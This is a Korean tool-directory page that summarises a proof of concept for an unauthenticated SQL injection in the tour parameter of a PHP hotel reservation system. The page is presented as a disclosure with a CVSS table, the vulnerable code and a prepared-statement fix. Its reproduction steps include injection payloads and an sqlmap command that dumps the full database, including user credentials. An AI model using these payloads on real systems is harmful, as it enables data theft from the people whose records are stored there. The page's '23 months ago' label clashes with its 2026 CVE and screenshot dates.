Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-10290-SQLI — Hotel and Tourism Reservation System 1.0의 인증되지 않은 SQL 주입에 대한 개념 증명으로, tour 매개변수를 통한 데이터베이스 추출을 보여줍니다. | Kitploit
도구/GitHubGitHub/xmyronn/cve-2026-10290-sqli
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationDatabase Security
GitHubxmyronn/cve-2026-10290-sqli

CVE-2026-10290-SQLI

Hotel and Tourism Reservation System 1.0의 인증되지 않은 SQL 주입에 대한 개념 증명으로, tour 매개변수를 통한 데이터베이스 추출을 보여줍니다.

저장소 보기
23개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

호텔 및 관광 예약 시스템 - tour.php의 인증되지 않은 SQL 인젝션

취약점 세부 정보

필드세부 정보
제목호텔 및 관광 예약 시스템 - tour GET 매개변수를 통한 SQL 인젝션
공급업체code-projects.org
공급업체 URLhttps://code-projects.org/hotel-and-tourism-reservation-in-php-with-source-code/
제품호텔 및 관광 예약 시스템
버전1.0
취약점 유형SQL 인젝션
CWECWE-89
CVSS 점수9.8 (심각)
CVSS 벡터CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
영향받는 파일/ht/tour.php
영향받는 매개변수tour (GET)
인증 필요아니요
원격 악용 가능예
발견자Syed Imad Uddin Alvi

설명

호텔 및 관광 예약 시스템 1.0의 tour.php에 있는 tour GET 매개변수에 치명적인 SQL 인젝션 취약점이 존재합니다. 해당 매개변수는 어떠한 정제, 준비된 문, 또는 입력 검증 없이 원시 SQL 쿼리에 직접 전달됩니다. 인증되지 않은 원격 공격자는 쿼리를 조작하여 데이터베이스의 모든 데이터를 추출, 수정, 삭제할 수 있습니다. 이 취약점은 sqlmap을 사용한 전체 데이터베이스 덤프를 통해 확인되었습니다.

tour.php의 취약한 코드:

root@kitploit:~
if(isset($_GET['tour'])) {
    $tourID = $_GET['tour'];
    $select = $db->query("SELECT * FROM tourism WHERE id = '{$tourID}' ");
    $s = $db->query("SELECT * FROM tourism WHERE id = '{$tourID}' ");
    $data = mysqli_fetch_assoc($s);

$tourID는 $_GET['tour']에서 직접 가져와 어떠한 정제 없이 SQL 쿼리에 보간됩니다.


재현 단계

설정: XAMPP에 호텔 및 관광 예약 시스템 1.0을 설치하고 http://<target>/ht/에서 접속

1단계 — 인증되지 않은 사용자로 임의의 투어 페이지 방문:

root@kitploit:~
http://<target>/ht/tour.php?tour=4
Screenshot 2026-05-12 001635

2단계 — 작은따옴표를 삽입하여 SQL 쿼리를 깨고 취약점 확인:

root@kitploit:~
http://<target>/ht/tour.php?tour='

결과: 치명적인 MySQL 오류가 발생하며 — 정제되지 않은 입력이 SQL 쿼리에 도달함을 확인합니다.

Screenshot 2026-05-12 001643

3단계 — 불리언 기반 페이로드로 SQL 인젝션 확인:

root@kitploit:~
http://<target>/ht/tour.php?tour=' or 1=1 -- -

결과: 투어 데이터와 함께 페이지가 정상적으로 로드됨 — 불리언 인젝션 성공.

Screenshot 2026-05-12 001654

4단계 — sqlmap을 사용하여 전체 데이터베이스 덤프:

root@kitploit:~
sqlmap -r sqli.txt --dump --batch

결과: sqlmap이 hotel_db의 모든 테이블(users, rooms, tour_reserves, gallery 포함)을 성공적으로 덤프 — 전체 데이터베이스 침해 확인.

Screenshot 2026-05-12 001722

영향

인증되지 않은 원격 공격자는 다음을 수행할 수 있습니다:

  • 사용자 자격 증명, 이메일, 전화번호 및 예약 세부 정보를 포함한 데이터베이스의 모든 데이터 추출
  • 관리자 자격 증명 추출을 통한 인증 우회
  • 데이터베이스 레코드 수정 또는 삭제
  • 파일 권한이 부여된 경우 INTO OUTFILE을 통해 원격 코드 실행 가능

근본 원인

tour GET 매개변수는 준비된 문, 매개변수화된 쿼리 또는 입력 정제 없이 원시 SQL 쿼리에 직접 보간됩니다:

root@kitploit:~
// 취약함
$tourID = $_GET['tour'];
$select = $db->query("SELECT * FROM tourism WHERE id = '{$tourID}' ");

// 수정됨 — 준비된 문 사용
$stmt = $db->prepare("SELECT * FROM tourism WHERE id = ?");
$stmt->bind_param("i", $_GET['tour']);
$stmt->execute();

참고 자료

  • CWE-89: SQL 명령에 사용된 특수 요소의 부적절한 중화
  • OWASP: SQL 인젝션
  • 호텔 및 관광 예약 시스템 — code-projects.org

발견자

Syed Imad Uddin Alvi — 독립 보안 연구원

도구 다운로드